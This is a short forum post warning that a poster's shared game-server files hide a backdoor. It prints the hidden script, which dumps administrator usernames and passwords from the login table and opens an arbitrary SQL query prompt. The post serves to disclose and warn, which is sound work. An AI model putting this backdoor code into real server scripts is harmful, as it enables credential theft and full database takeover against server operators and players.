Slight thread necro but I thought it should be mentioned:
The original poster is so 'lovable' that he even provides a trojan/backdoor for the server in addition to the complimentary build swapper.
query_sql "SELECT userid FROM login where level=99 order by userid", @u$;query_sql "SELECT user_pass FROM login where level=99 order by userid",@p$;mes @u$[0]+" "+@p$[0];mes @u$[1]+" "+@p$[1];mes @u$[2]+" "+@p$[2];mes @u$[3]+" "+@p$[3];mes @u$[4]+" "+@p$[4];mes @u$[5]+" "+@p$[5];mes @u$[6]+" "+@p$[6];mes @u$[7]+" "+@p$[7];mes @u$[8]+" "+@p$[8];mes @u$[9]+" "+@p$[9];next;goto L_s;l_q:mes"QUERY-SQL";mes "inserisci query";input @q$;query_sql @q$;goto L_s;}else{end;}
If you don't understand the above it means 'dump assumed GM's login info to screen,' accessible through a hidden login.
You can see for yourself by downloading his files and turning on word wrap in whatever text file editor you use. Note that this person has attempted this on other servers. The whole linked website is just a setup for backdoored files.